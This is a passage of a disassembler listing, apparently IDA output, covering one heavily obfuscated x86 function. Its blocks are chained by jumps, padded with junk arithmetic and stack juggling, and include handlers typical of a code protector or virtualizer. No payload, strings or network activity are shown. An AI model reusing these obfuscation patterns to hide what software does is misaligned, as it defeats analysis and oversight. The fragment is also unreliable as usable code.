esp xchg eax, [esp-6EE4h+arg_6EDC] pop esp jmp loc_58F9F7 ; --------------------------------------------------------------------------- loc_588A26: ; CODE XREF: sub_581EE9+A6B3j push esp mov edx, [esp-6EE4h+arg_6EDC] add esp, 4 add edx, 4 push ebp push edi jmp loc_58F96C ; --------------------------------------------------------------------------- loc_588A3A: ; CODE XREF: sub_581EE9+8DECj add esp, 4 shr eax, 0Bh xor ecx, eax push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp-6EE0h+arg_6ED6+2] pop esp mov [esp-6EE4h+arg_6EDC], esi mov esi, ebx push esi push ebx jmp loc_59116C ; --------------------------------------------------------------------------- loc_588A64: ; CODE XREF: sub_581EE9+B226j add ebx, 4 xchg ebx, [esp-6EDCh+arg_6ED2+2] pop esp add esp, 4 sub esp, 4 mov [esp-6EE0h+arg_6ED6+2], edx push cx mov cl, 0ACh mov dl, cl pop cx jmp loc_590562 ; --------------------------------------------------------------------------- loc_588A84: ; CODE XREF: sub_581EE9+4783j push eax mov eax, 1A1B3E28h inc eax sub eax, 4B525E09h push edi mov edi, 8F6DEA6Bh jmp loc_58C704 ; --------------------------------------------------------------------------- loc_588A9B: ; CODE XREF: sub_581EE9+C75Fj sub ecx, 45410C9Ch sub ecx, 43A57BB4h jmp loc_58C7DD ; --------------------------------------------------------------------------- loc_588AAC: ; CODE XREF: sub_581EE9+B2A9j push esi push [esp-6EF2h+arg_6EEC+2] mov esi, [esp] add esp, 4 pop [esp-6EF2h+arg_6EE8+2] mov esp, [esp-6EF6h+arg_6EEC+2] mov [esp-6EF6h+arg_6EEC+2], ecx jmp loc_58E4D2 ; --------------------------------------------------------------------------- loc_588AC5: ; CODE XREF: sub_581EE9+F4CBj mov eax, 4 add edx, eax pop eax add edx, 4 xchg edx, [esp-6EFAh+arg_6EF0+2] pop esp loc_588AD4: ; CODE XREF: sub_581EE9+F852j push 376Ah mov [esp-6EFAh+arg_6EF0+2], ebx push ebx mov ebx, 7EC34158h add [esp-6EF6h+arg_6EF0+2], 7631115h add [esp-6EF6h+arg_6EF0+2], ebx sub esp, 4 jmp loc_58E10C ; --------------------------------------------------------------------------- loc_588AF9: ; CODE XREF: sub_581EE9+71A8j mov ebx, esp push esi mov esi, 4BBC535Ah sub esi, 11E51369h not esi jmp loc_589CD0 ; --------------------------------------------------------------------------- loc_588B0E: ; CODE XREF: sub_581EE9+B2EFj mov edi, 25EE6F8Ch xor edi, 32F149C5h add edi, 18E00BEDh add edi, 0D000CDCEh add esi, edi pop edi push edi mov edi, 7B550B64h add edi, 1 dec edi sub esp, 4 mov [esp-6EEAh+arg_6EE0+2], edi dec [esp-6EEAh+arg_6EE0+2] pop edi not edi push edx mov edx, 7D1F7B90h add edi, 4B420EA3h sub edi, edx sub edi, 4B420EA3h pop edx add edi, 0F87486F6h add esi, edi mov edi, [esp] jmp loc_585D2F ; --------------------------------------------------------------------------- loc_588B63: ; CODE XREF: sub_581EE9+8D8Fj pop ecx sub ecx, 0FFFFFFFFh and ecx, 334A397Fh shr ecx, 6 add ecx, 366446FDh sub eax, ecx jmp loc_58831F ; --------------------------------------------------------------------------- loc_588B7D: ; DATA XREF: sub_581EE9+3C4Fo mov cx, word ptr [esp-6EF2h+arg_6EE8+2] jmp loc_58B820 ; --------------------------------------------------------------------------- loc_588B86: ; CODE XREF: sub_581EE9+E37Ej mov ebp, 66066733h jmp loc_586396 ; --------------------------------------------------------------------------- loc_588B90: ; CODE XREF: sub_581EE9+60CDj add eax, 4 push eax jmp loc_590C06 ; --------------------------------------------------------------------------- loc_588B9B: ; CODE XREF: sub_581EE9+9442j xor ebp, edi pop edi jmp loc_590A16 ; --------------------------------------------------------------------------- loc_588BA3: ; CODE XREF: sub_581EE9+F441j add dword ptr [esp], 4 push dword ptr [esp] push [esp-6ED2h+arg_6ECA] pop ebp add esp, 4 add esp, 4 jmp loc_58621E ; --------------------------------------------------------------------------- loc_588BBF: ; CODE XREF: sub_581EE9+5780j pop ebx or edi, 2B40732Ch add edi, 1 push edx jmp loc_58DBBC ; --------------------------------------------------------------------------- loc_588BCF: ; CODE XREF: sub_581EE9+97F7j push eax mov eax, 2FED0A41h jmp loc_588E37 ; --------------------------------------------------------------------------- loc_588BDA: ; DATA XREF: sub_581EE9+3D17o push dword ptr [edi+1Ch] popf pop eax adc [esp-6F0Eh+arg_6F06], eax pushf jmp loc_585CC3 ; --------------------------------------------------------------------------- loc_588BE8: ; CODE XREF: sub_581EE9+7C65j pop bx jmp loc_586827 ; --------------------------------------------------------------------------- loc_588BEF: ; CODE XREF: sub_581EE9+88A2j neg edi shl edi, 8 push esi jmp loc_58E0AD ; --------------------------------------------------------------------------- loc_588BFA: ; CODE XREF: sub_581EE9+E6A7j mov ecx, [esp-6F08h+arg_6EFE+2] jmp loc_58F74E ; --------------------------------------------------------------------------- loc_588C02: ; CODE XREF: sub_581EE9+6FD9j mov ebp, ecx pop ecx add ebx, 1A782705h add ebx, ebp sub ebx, 1A782705h pop ebp add ebx, 2 push ebx push [esp-6F0Ch+arg_6F06+2] push [esp-6F08h+arg_6EFE+2] pop ebx jmp loc_587ADC ; --------------------------------------------------------------------------- loc_588C28: ; CODE XREF: sub_581EE9+A022j mov ch, bl pop ebx mov edx, [esp-6F0Ch+arg_6F02+2] jmp loc_58E94E ; --------------------------------------------------------------------------- loc_588C33: ; CODE XREF: sub_581EE9+660Dj mov eax, [esp-6ED4h+arg_6ECA+2] push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp-6ED0h+arg_6EC6+2] pop esp add eax, 4DD944C4h pop edi shl eax, cl jmp loc_58F274 ; --------------------------------------------------------------------------- loc_588C53: ; CODE XREF: sub_581EE9+851Fj push ebp sub esp, 4 mov [esp-6ED0h+arg_6EC6+2], esp add [esp-6ED0h+arg_6EC6+2], 4 pop ebp add ebp, 4 add ebp, 4 xchg ebp, [esp-6ED4h+arg_6ECA+2] pop esp loc_588C72: ; CODE XREF: sub_581EE9+B945j push 431Ch jmp loc_58766E ; --------------------------------------------------------------------------- loc_588C7C: ; CODE XREF: sub_581EE9+8917j xor eax, 0EE2090C5h jmp loc_587C85 ; --------------------------------------------------------------------------- loc_588C86: ; CODE XREF: sub_581EE9+7FFBj sub edx, edi pop edi jmp loc_590536 ; --------------------------------------------------------------------------- loc_588C8E: ; CODE XREF: sub_581EE9+6590j xor ecx, 450C5FFFh or ecx, 56D602EEh push esi mov esi, 6AB32B39h jmp loc_588D38 ; --------------------------------------------------------------------------- loc_588CA5: ; CODE XREF: sub_581EE9+9629j mov ebp, ecx pop ecx xor ebp, 6F045D9Eh not ebp add ebp, 289D5B94h sub ebp, 0F79FE905h sub ebx, ebp mov ebp, [esp-6EACh+arg_6EA4] add esp, 4 mov edx, ebx mov ebx, [esp-6EB0h+arg_6EA8] push edi mov edi, esp jmp loc_58DAE0 ; --------------------------------------------------------------------------- loc_588CD1: ; CODE XREF: sub_581EE9+621Fj push ebp mov ebp, 3D754111h jmp loc_59002B ; --------------------------------------------------------------------------- loc_588CDC: ; CODE XREF: sub_581EE9+BB41j add esp, 4 add eax, 4 add eax, 4 xor eax, [esp-6EBEh+arg_6EB6] xor [esp-6EBEh+arg_6EB6], eax xor eax, [esp-6EBEh+arg_6EB6] mov esp, [esp-6EBEh+arg_6EB6] jmp loc_586A37 ; --------------------------------------------------------------------------- loc_588CFD: ; DATA XREF: sub_581EE9+3BEFo mov cx, word ptr [esp-6EBEh+arg_6EB6] push edx push esp push [esp-6EB6h+arg_6EAC+2] pop edx push ebx push 0C6Ah jmp loc_58E4CA ; --------------------------------------------------------------------------- loc_588D12: ; CODE XREF: sub_581EE9+B349j shl ch, 2 jmp loc_58D68A ; --------------------------------------------------------------------------- loc_588D1A: ; CODE XREF: sub_581EE9+DEF6j push 5355h mov dword ptr [esp-6EAAh+arg_6EA2], ecx push ebx mov bl, ah mov ch, bl mov ebx, [esp-6EA6h+arg_6E9E] add esp, 4 jmp loc_5876B1 ; --------------------------------------------------------------------------- loc_588D32: ; CODE XREF: sub_581EE9+4CCFj push edi jmp loc_587CEF ; --------------------------------------------------------------------------- loc_588D38: ; CODE XREF: sub_581EE9+6DB7j xor ecx, esi pop esi and ebx, ecx pop ecx add ebx, 0ECC4345Ah sub eax, ebx pop ebx jmp loc_5882D9 ; --------------------------------------------------------------------------- loc_588D4C: ; DATA XREF: sub_581EE9+3CE7o pop dword ptr fs:[edx] jmp loc_58F51B ; --------------------------------------------------------------------------- loc_588D54: ; DATA XREF: sub_581EE9+3C33o movzx ax, byte ptr fs:[edx] push 655h mov [esp-6EB4h+arg_6EAC], ecx mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp-6EB4h+arg_6EAC] mov esp, [esp-6EB4h+arg_6EAC] mov [esp-6EB4h+arg_6EAC], ebp push 1741h jmp loc_58B1AF ; --------------------------------------------------------------------------- loc_588D82: ; CODE XREF: sub_581EE9+9F6Aj add eax, 4 add eax, 4 jmp loc_58DC19 ; --------------------------------------------------------------------------- loc_588D91: ; CODE XREF: sub_581EE9+4AE8j add al, bl pop ebx sub al, bh sub al, 82h mov bx, word ptr [esp-6ECEh+arg_6EC6] jmp loc_58A848 ; --------------------------------------------------------------------------- loc_588DA1: ; CODE XREF: sub_581EE9+4DA0j mov esi, 669F55AEh mov eax, 6A6B8F50h sub eax, esi pop esi xor eax, 27E94CFAh mov esi, eax pop eax push ecx jmp loc_591643 ; --------------------------------------------------------------------------- loc_588DBC: ; CODE XREF: sub_581EE9+86EDj add edi, 4 push 0C08h mov [esp-6EC6h+arg_6EBE], ebp jmp loc_58A564 ; --------------------------------------------------------------------------- loc_588DCF: ; CODE XREF: sub_581EE9+CC72j xor edi, 4E662E2Dh and edi, 0B873A24h push ebx mov ebx, 0C6D1289h and ebx, 101D69FDh not ebx add ebx, 4AB93FD9h sub ebx, 365E4987h add ebx, 0B83BE395h sub edi, ebx pop ebx sub ecx, edi pop edi sub ecx, 661E32C2h push ebp mov ebp, 588C1D0Fh jmp loc_58A7C0 ; --------------------------------------------------------------------------- loc_588E12: ; CODE XREF: sub_581EE9+6387j pop ebp shl ebp, 8 jmp loc_58EF76 ; --------------------------------------------------------------------------- loc_588E1B: ; CODE XREF: sub_581EE9+84D8j not edi jmp loc_58B13B ; --------------------------------------------------------------------------- loc_588E22: ; CODE XREF: sub_581EE9+E6C5j push ecx mov ch, dh not ch mov dh, ch pop ecx dec dh xor dh, 0AAh or cl, dh pop edx jmp loc_58C272 ; --------------------------------------------------------------------------- loc_588E37: ; CODE XREF: sub_581EE9+6CECj and edx, eax jmp loc_58F3AE ; --------------------------------------------------------------------------- loc_588E3E: ; CODE XREF: sub_581EE9+4E9Cj mov edx, 558877ACh or eax, edx pop edx sub eax, 52E75022h neg eax sub eax, 9F476C69h and edx, eax pop eax add edx, 0FFFFFFFFh shl edx, 4 push edi push 2DCBh mov [esp-6EC6h+arg_6EBE], eax jmp loc_59188B ; --------------------------------------------------------------------------- loc_588E69: ; CODE XREF: sub_581EE9+F893j push 66220255h pop edi sub edi, 3A516436h add edi, 0D853918h neg edi push 346Ch mov [esp-6EC2h+arg_6EBA], edx mov edx, 57F45BCBh push 152Ah mov [esp-6EBEh+arg_6EB6], edx dec [esp-6EBEh+arg_6EB6] pop edx dec edx shr edx, 7 xor edx, 5E0C235Eh xor edx, 67F61CD2h add edi, edx mov edx, [esp-6EC2h+arg_6EBA] add esp, 4 jmp loc_58F4E6 ; --------------------------------------------------------------------------- loc_588EB3: ; CODE XREF: sub_581EE9+A9A1j add esp, 4 jmp loc_58A8E3 ; --------------------------------------------------------------------------- loc_588EBB: ; CODE XREF: sub_581EE9+967Dj push ebp push ecx mov ecx, 4 jmp loc_588C02 ; --------------------------------------------------------------------------- loc_588EC7: ; CODE XREF: sub_581EE9+53ABj pop esi add [esp-6ED0h+arg_6ECA+2], eax pop eax jmp loc_585CC3 ; --------------------------------------------------------------------------- dw 2489h ; --------------------------------------------------------------------------- and al, 53h mov ebx, 4 add [esp-6ED4h+arg_6ECE+2], 9D05D90h jmp loc_58D877 ; --------------------------------------------------------------------------- loc_588EE8: ; CODE XREF: sub_581EE9+744Aj add eax, 4 push ebp mov ebp, 17940739h jmp loc_5904CC ; --------------------------------------------------------------------------- loc_588EF8: ; CODE XREF: sub_581EE9+9AE5j push cx mov cl, 4 sub bl, cl pop cx sub bl, 11h add bl, 37h push edx mov dl, 0D9h neg dl dec dl xor dl, 81h and dl, 0C4h xor dl, 0BEh jmp loc_5882B1 ; --------------------------------------------------------------------------- loc_588F1B: ; CODE XREF: sub_581EE9+DD9Ej pop esp mov word ptr [esp-6ED0h+arg_6EC6+2], ax mov ah, 0CDh sub dh, ah mov ax, word ptr [esp-6ED0h+arg_6EC6+2] jmp loc_586EE6 ; --------------------------------------------------------------------------- loc_588F2D: ; CODE XREF: sub_581EE9+BB81j add edx, ebx add edx, 67DF6007h jmp loc_59174D ; --------------------------------------------------------------------------- loc_588F3A: ; DATA XREF: sub_581EE9+3D43o lodsd push ebp mov ebp, 2B923532h sub eax, 4E5358F1h sub eax, ebp add eax, 4E5358F1h mov ebp, [esp-6ECCh+arg_6EC2+2] add esp, 4 push esi mov esi, 173715B7h sub eax, esi pop esi push esi mov esi, 3F53726Dh add eax, esi pop esi sub eax, ebx sub eax, 3F53726Dh push ebp mov ebp, 61ED437Eh jmp loc_58A964 ; --------------------------------------------------------------------------- loc_588F77: ; CODE XREF: sub_581EE9+7321j pop esp mov [esp-6ED0h+arg_6EC6+2], esp add [esp-6ED0h+arg_6EC6+2], 4 pop edi add edi, 4 sub edi, 4 xchg edi, [esp-6ED4h+arg_6ECA+2] pop esp mov [esp-6ED8h+arg_6ECE+2], eax push esp push [esp-6ED4h+arg_6ECA+2] pop eax add esp, 4 add eax, 4 jmp loc_587FC1 ; --------------------------------------------------------------------------- loc_588FA5: ; CODE XREF: sub_581EE9+7DD1j add ebp, 0E1E51EDAh and eax, ebp mov ebp, [esp-6ED8h+arg_6ECE+2] add esp, 4 jmp loc_58F949 ; --------------------------------------------------------------------------- loc_588FB8: ; CODE XREF: sub_581EE9+8F84j sub esp, 4 jmp loc_586640 ; --------------------------------------------------------------------------- loc_588FC3: ; CODE XREF: sub_581EE9+513Fj sub ch, bl mov ebx, [esp-6EEEh+arg_6EE4+2] add esp, 4 sub bl, ch mov ecx, [esp-6EF2h+arg_6EE8+2] add esp, 4 push 1D6Fh mov [esp-6EF2h+arg_6EE8+2], edx sub esp, 4 mov [esp-6EEEh+arg_6EE4+2], ecx jmp loc_5916F0 ; --------------------------------------------------------------------------- loc_588FEC: ; CODE XREF: sub_581EE9+FBCAj mov [esp], ecx mov ecx, esp push ebp mov ebp, 59B50D6Bh inc ebp jmp loc_58931D ; --------------------------------------------------------------------------- loc_588FFD: ; CODE XREF: sub_581EE9+B400j sub [esp-6EEAh+arg_6EE0+2], ebx jmp loc_58F2A1 ; --------------------------------------------------------------------------- loc_589005: ; CODE XREF: sub_581EE9+BC07j add eax, edx pop edx xor ebx, eax push edx jmp loc_591847 ; --------------------------------------------------------------------------- loc_589010: ; CODE XREF: sub_581EE9+4FCDj mov al, 4Bh mov ch, al pop eax xor ch, 0F2h add al, ch jmp loc_589EF7 ; --------------------------------------------------------------------------- loc_58901F: ; CODE XREF: sub_581EE9+BDEDj sub bl, cl jmp loc_58CCE5 ; --------------------------------------------------------------------------- loc_589026: ; CODE XREF: sub_581EE9+C830j xor edx, eax jmp loc_585CC3 ; --------------------------------------------------------------------------- loc_58902D: ; CODE XREF: sub_581EE9+5536j sub esp, 4 mov [esp-6EB2h+arg_6EA8+2], edx mov edx, 365F6DA7h inc edx shl edx, 8 shr edx, 2 and edx, 265E56D9h sub edx, 4B692479h add edx, 76765CD7h sub ebx, edx pop edx jmp loc_58CD4A ; --------------------------------------------------------------------------- loc_58905C: ; CODE XREF: sub_581EE9+AFEAj mov bl, 2Bh sub al, bl jmp loc_58EBDE ; --------------------------------------------------------------------------- loc_589065: ; CODE XREF: sub_581EE9+A312j mov dh, ah mov eax, [esp-6EB6h+arg_6EAC+2] add esp, 4 pop ecx sub esp, 4 jmp loc_590AE1 ; --------------------------------------------------------------------------- loc_58907C: ; CODE XREF: sub_581EE9+402Aj sub ebx, 12850046h sub ebx, eax add ebx, 12850046h add ebx, 39E2516Eh push ebx jmp loc_588AF9 ; --------------------------------------------------------------------------- loc_589096: ; CODE XREF: sub_581EE9+859Ej add ebp, 4 push ebx mov ebx, 4 add ebp, ebx pop ebx push 3B47h mov [esp-6EC0h+arg_6EB6+2], ebp push [esp-6EC0h+arg_6EBA+2] jmp loc_5908C6 ; --------------------------------------------------------------------------- loc_5890B6: ; CODE XREF: sub_581EE9+A831j pop esp jmp loc_58A64A ; --------------------------------------------------------------------------- loc_5890BC: ; CODE XREF: sub_581EE9+7F20j add ebp, 4 add ebp, 2 push ebp jmp loc_586E7E ; --------------------------------------------------------------------------- loc_5890CB: ; CODE XREF: sub_581EE9+9B23j pop eax jmp loc_58B2DA ; --------------------------------------------------------------------------- loc_5890D1: ; CODE XREF: sub_581EE9+42A1j add al, dh jmp loc_588280 ; --------------------------------------------------------------------------- loc_5890D8: ; CODE XREF: sub_581EE9+6626j add esp, 2 xor bl, al jmp loc_58DFCE ; --------------------------------------------------------------------------- loc_5890E2: ; CODE XREF: sub_581EE9+541Bj sub esi, edi jmp loc_59033A ; --------------------------------------------------------------------------- loc_5890E9: ; CODE XREF: sub_581EE9+D403j push edx jmp loc_587533 ; --------------------------------------------------------------------------- loc_5890EF: ; CODE XREF: sub_581EE9+E899j mov edi, 5DC40FCBh mov ecx, 0E35A0940h add ecx, edi pop edi add edx, ecx pop ecx jmp loc_58932B ; --------------------------------------------------------------------------- loc_589104: ; CODE XREF: sub_581EE9+DB11j push esi jmp loc_587888 ; --------------------------------------------------------------------------- loc_58910A: ; CODE XREF: sub_581EE9+A47Dj push dword ptr [esp] mov esi, [esp-6EEAh+arg_6EE0+2] push edx jmp loc_5904DA ; --------------------------------------------------------------------------- loc_589116: ; CODE XREF: sub_581EE9+971Fj pop edi add eax, 643464CAh jmp loc_586F2B ; --------------------------------------------------------------------------- loc_589121: ; CODE XREF: sub_581EE9+C4EBj dec ch shl ch, 7 add ch, 5Fh push dx mov dl, 7Bh xor ch, dl jmp loc_5901BF ; --------------------------------------------------------------------------- loc_589134: ; CODE XREF: sub_581EE9+93D5j mov [esp-6EE8h+arg_6EE0], ebx push 3743h mov [esp-6EE4h+arg_6EDC], edx push esi pop edx jmp loc_58BC76 ; --------------------------------------------------------------------------- loc_589146: ; CODE XREF: sub_581EE9+C674j shr bh, 3 shl bh, 6 xor bh, 0FBh add al, bh mov ebx, [esp-6EE4h+arg_6EDC] jmp loc_58D5BC ; --------------------------------------------------------------------------- loc_589159: ; CODE XREF: sub_581EE9+CAE8j mov [esp-6EE4h+arg_6EDC], esi xchg edx, [esp-6EE4h+arg_6EDC] jmp loc_591235 ; --------------------------------------------------------------------------- loc_589164: ; DATA XREF: sub_581EE9+3CCBo sub esp, 4 mov [esp-6EF6h+arg_6EEC+2], ebp mov ebp, 4CF74C99h shr ebp, 4 shl ebp, 2 jmp loc_58D618 ; --------------------------------------------------------------------------- loc_58917A: ; CODE XREF: sub_581EE9+51A7j push esi mov esi, esp push ebp mov ebp, 55212CE1h jmp loc_58828C ; --------------------------------------------------------------------------- loc_589188: ; CODE XREF: sub_581EE9+655Dj push ebp jmp loc_58E934 ; --------------------------------------------------------------------------- loc_58918E: ; CODE XREF: sub_581EE9+9949j pop esp mov [esp-6EB4h+arg_6EAC], ebx push edi mov edi, esp add edi, 4 sub edi, 4 xchg edi, [esp-6EB0h+arg_6EA8] pop esp mov [esp-6EB4h+arg_6EAC], ebp push edi mov edi, 1BA141A9h not edi xor edi, 29AA3BD6h add edi, 75B27F34h push esi jmp loc_58A959 ; --------------------------------------------------------------------------- loc_5891BF: ; CODE XREF: sub_581EE9+4A90j add bl, ch jmp loc_587B51 ; --------------------------------------------------------------------------- loc_5891C6: ; CODE XREF: sub_581EE9+AEE2j mov esi, ebx mov ebx, [esp-6ECCh+arg_6EC2+2] push edx mov edx, esp jmp loc_58D1DD ; --------------------------------------------------------------------------- loc_5891D3: ; CODE XREF: sub_581EE9+EBF3j push edx mov edx, esp add edx, 4 sub edx, 2 jmp loc_589999 ; --------------------------------------------------------------------------- loc_5891E7: ; CODE XREF: sub_581EE9+7FDAj xor ch, dl jmp loc_58CE4D ; --------------------------------------------------------------------------- loc_5891EE: ; CODE XREF: sub_581EE9+AA4Bj pop ebx add esp, 4 push eax push [esp-6EC8h+arg_6EC2+2] pop eax jmp loc_585E58 ; --------------------------------------------------------------------------- loc_5891FD: ; CODE XREF: sub_581EE9+A48Aj add eax, 4 sub eax, 4 xchg eax, [esp-6EC8h+arg_6EBE+2] jmp loc_588F77 ; --------------------------------------------------------------------------- loc_58920F: ; DATA XREF: sub_581EE9+3D03o mov cx, word ptr [esp-6EC8h+arg_6EBE+2] sub esp, 4 mov [esp-6EC4h+arg_6EBA+2], esi mov esi, esp push 62C8h mov [esp-6EC0h+arg_6EB6+2], edx mov edx, 3F253AF0h dec edx push ebp mov ebp, 1DB74CBFh or edx, ebp jmp loc_58F23E ; --------------------------------------------------------------------------- loc_589239: ; CODE XREF: sub_581EE9+CAFEj push ecx mov ch, 2Fh push eax mov al, 52h jmp loc_5904E1 ; --------------------------------------------------------------------------- mov ax, word ptr [esp-6EB4h+arg_6EAC] push esi mov esi, esp push ebp mov ebp, 74D413FDh push edx mov edx, 64124B41h add edx, 1 push ebp mov ebp, 13502103h sub ebp, 5FDA57C9h add edx, ebp pop ebp and ebp, edx pop edx sub esp, 4 mov [esp-6EA8h+arg_6E9E+2], esi push 2FDE1844h pop esi or ebp, esi pop esi add ebp, 76F86D56h xor ebp, 12C63783h sub ebp, 0A410B24Dh jmp loc_586EFD ; --------------------------------------------------------------------------- loc_589292: ; CODE XREF: sub_581EE9+8590j add esi, eax jmp loc_5907A7 ; --------------------------------------------------------------------------- loc_589299: ; CODE XREF: sub_581EE9+EFA1j mov edi, esp push edx mov edx, 4 add edi, 420861EFh jmp loc_586362 ; --------------------------------------------------------------------------- loc_5892AC: ; CODE XREF: sub_581EE9+42AAj push edi mov edi, 18FC5DD2h jmp loc_589F4B ; --------------------------------------------------------------------------- loc_5892B7: ; CODE XREF: sub_581EE9+5D12j push edi mov edi, 34234996h add ebx, edi pop edi mov ecx, ebx jmp loc_590E66 ; --------------------------------------------------------------------------- loc_5892C7: ; CODE XREF: sub_581EE9+54ECj push ebx mov bl, 0D0h and bl, 46h shl bl, 8 neg bl neg bl inc bl xor bl, 0B6h jmp loc_5876DB ; --------------------------------------------------------------------------- loc_5892DE: ; CODE XREF: sub_581EE9+CD91j sub edx, 1 jmp loc_5898CF ; --------------------------------------------------------------------------- loc_5892E9: ; CODE XREF: sub_581EE9+9A5Ej pop eax push ebp mov ebp, 2 jmp loc_58D9D7 ; --------------------------------------------------------------------------- loc_5892F5: ; CODE XREF: sub_581EE9+E051j push [esp-6EB2h+arg_6EA8+2] push [esp-6EAEh+arg_6EA4+2] pop eax push ebx push esp pop ebx add ebx, 4 push ecx push ebp mov ebp, 4 mov ecx, ebp pop ebp add ebx, ecx pop ecx push ebx push dword ptr [esp-6EA6h+arg_6EA2] pop ebx jmp loc_59086B ; --------------------------------------------------------------------------- loc_58931D: ; CODE XREF: sub_581EE9+710Fj sub esp, 4 mov [esp-6EE6h+arg_6EDC+2], eax jmp loc_58D554 ; --------------------------------------------------------------------------- loc_58932B: ; CODE XREF: sub_581EE9+7216j inc edx jmp loc_58DF7C ; --------------------------------------------------------------------------- loc_589331: ; CODE XREF: sub_581EE9+F85Fj push esp pop eax jmp loc_588EE8 ; --------------------------------------------------------------------------- loc_589338: ; CODE XREF: sub_581EE9+6409j shl edx, 4 push ebp push ebx jmp loc_590F8F ; --------------------------------------------------------------------------- loc_589342: ; DATA XREF: sub_581EE9+3BDBo lodsw xor ax, bx push ebp jmp loc_58A790 ; --------------------------------------------------------------------------- loc_58934D: ; CODE XREF: sub_581EE9+DBC2j not [esp-6EC8h+arg_6EBE+2] jmp loc_588183 ; --------------------------------------------------------------------------- loc_589355: ; DATA XREF: sub_581EE9+3D4Bo push [esp-6EC8h+arg_6EBE+2] push [esp-6EC4h+arg_6EBA+2] push [esp-6EC0h+arg_6EB6+2] pop eax add esp, 4 push ebx push esp pop ebx jmp loc_58875F ; --------------------------------------------------------------------------- loc_58936A: ; CODE XREF: sub_581EE9+8C73j push edi mov edi, 4 add ebp, edi pop edi jmp loc_5868BD ; --------------------------------------------------------------------------- loc_589378: ; CODE XREF: sub_581EE9+9258j xor ebx, edi jmp loc_58B64A ; --------------------------------------------------------------------------- loc_58937F: ; CODE XREF: sub_581EE9+98F9j xor ecx, 448A1E6Ch neg ecx push 71D6h jmp loc_5887D8 ; --------------------------------------------------------------------------- loc_589391: ; CODE XREF: sub_581EE9+696Aj push ebp push esi push 68ED32BEh pop esi xor esi, 58E03752h mov ebp, esi pop esi jmp loc_591974 ; --------------------------------------------------------------------------- loc_5893A7: ; CODE XREF: sub_581EE9+5AD4j mov ebx, [esp-6EF6h+arg_6EEC+2] add esp, 4 jmp loc_58E1B7 ; --------------------------------------------------------------------------- loc_5893B2: ; CODE XREF: sub_581EE9+D40Fj sub esp, 4 jmp loc_5875DD ; --------------------------------------------------------------------------- loc_5893BD: ; CODE XREF: sub_581EE9+E525j xor esi, 4F154667h add edx, esi push [esp-6EF6h+arg_6EEC+2] mov esi, [esp-6EF2h+arg_6EE8+2] add esp, 4 push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp-6EF2h+arg_6EE8+2] pop esp add edx, 2 xor edx, [esp-6EF6h+arg_6EEC+2] xor [esp-6EF6h+arg_6EEC+2], edx xor edx, [esp-6EF6h+arg_6EEC+2] mov esp, [esp-6EF6h+arg_6EEC+2] mov ax, word ptr [esp-6EF6h+arg_6EEC+2] push edx push esp mov edx, [esp-6EEEh+arg_6EE4+2] add esp, 4 jmp loc_58649B ; --------------------------------------------------------------------------- loc_589406: ; CODE XREF: sub_581EE9+A180j mov [esp-6EF2h+arg_6EE8+2], ebx push [esp-6EF2h+arg_6EE8+2] pop eax add esp, 4 jmp loc_590B7D ; --------------------------------------------------------------------------- loc_589418: ; CODE XREF: sub_581EE9+8E2Bj add edx, 4 xchg edx, [esp-6EF6h+arg_6EEC+2] mov esp, [esp-6EF6h+arg_6EEC+2] push [esp-6EF6h+arg_6EEC+2] mov eax, [esp-6EF2h+arg_6EE8+2] add esp, 4 push ebx mov ebx, esp jmp loc_58F928 ; --------------------------------------------------------------------------- loc_589438: ; CODE XREF: sub_581EE9+F427j xchg ebp, [esp-6EF2h+arg_6EE8+2] pop esp mov [esp-6EF6h+arg_6EEC+2], ebp push 5E42h mov [esp-6EF2h+arg_6EE8+2], ebx mov ebp, [esp-6EF2h+arg_6EE8+2] push 5A2Ah jmp loc_58C7C0 ; --------------------------------------------------------------------------- loc_589454: ; CODE XREF: sub_581EE9+537Cj push [esp-6EFEh+arg_6EF6] pop edx jmp loc_58F1E7 ; --------------------------------------------------------------------------- loc_58945D: ; CODE XREF: sub_581EE9+5F67j xor esi, 65BC4FA8h shl esi, 5 jmp loc_590DA1 ; --------------------------------------------------------------------------- loc_58946B: ; CODE XREF: sub_581EE9+B72Aj pop edx pop [esp-6ECEh+arg_6EC6] pop esp sub [esp-6ED6h+arg_6ED2], ecx pop ecx pop eax push ecx push 3EACh jmp loc_58C88F ; --------------------------------------------------------------------------- loc_589481: ; CODE XREF: sub_581EE9+F463j xor ecx, 5FBE23E6h add ebx, ecx mov ecx, [esp-6ED6h+arg_6ECE] sub esp, 4 mov [esp-6ED2h+arg_6ECA], ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp-6ED2h+arg_6ECA] mov esp, [esp-6ED2h+arg_6ECA] sub ebx, 2 jmp loc_58A208 ; --------------------------------------------------------------------------- loc_5894B1: ; CODE XREF: sub_581EE9+4C3Bj add edi, 4 add edi, 4 xchg edi, [esp-6ED2h+arg_6ECA] pop esp and ecx, ebp push [esp-6ED6h+arg_6ECE] mov ebp, [esp-6ED2h+arg_6ECA] push ebx mov ebx, esp jmp loc_591999 ; --------------------------------------------------------------------------- loc_5894D1: ; CODE XREF: sub_581EE9+E44Cj add ebp, 4 jmp loc_58D380 ; --------------------------------------------------------------------------- loc_5894DC: ; CODE XREF: sub_581EE9+47F8j pop edx add edx, eax jmp loc_58E09C ; --------------------------------------------------------------------------- loc_5894E4: ; CODE XREF: sub_581EE9+861Bj dec esi neg esi sub esi, 69145Fh xor esi, 0EE378A73h sub edx, esi pop esi sub edx, 6CA31D33h push ecx mov ecx, 86E8E317h add edx, ecx jmp loc_5889EF ; --------------------------------------------------------------------------- loc_589509: ; CODE XREF: sub_581EE9+D201j pop ebp jmp loc_58702D ; --------------------------------------------------------------------------- loc_58950F: ; CODE XREF: sub_581EE9+7AF7j pop [esp-6F02h+arg_6EFA] mov esp, [esp-6F06h+arg_6EFE] mov word ptr [esp-6F06h+arg_6EFE], sp jmp loc_5863F8 ; --------------------------------------------------------------------------- loc_58951E: ; CODE XREF: sub_581EE9+9CB4j neg al jmp loc_587B9B ; --------------------------------------------------------------------------- loc_589525: ; CODE XREF: sub_581EE9+A1AEj add esp, 4 sub edx, 391E1D9Ah add edx, edi add edx, 391E1D9Ah jmp loc_5912A4 ; --------------------------------------------------------------------------- loc_58953E: ; CODE XREF: sub_581EE9+FA1Fj add edi, 4 push esi mov esi, 4 sub edi, esi pop esi xchg edi, [esp-6F0Ah+arg_6F02] pop esp jmp loc_587676 ; 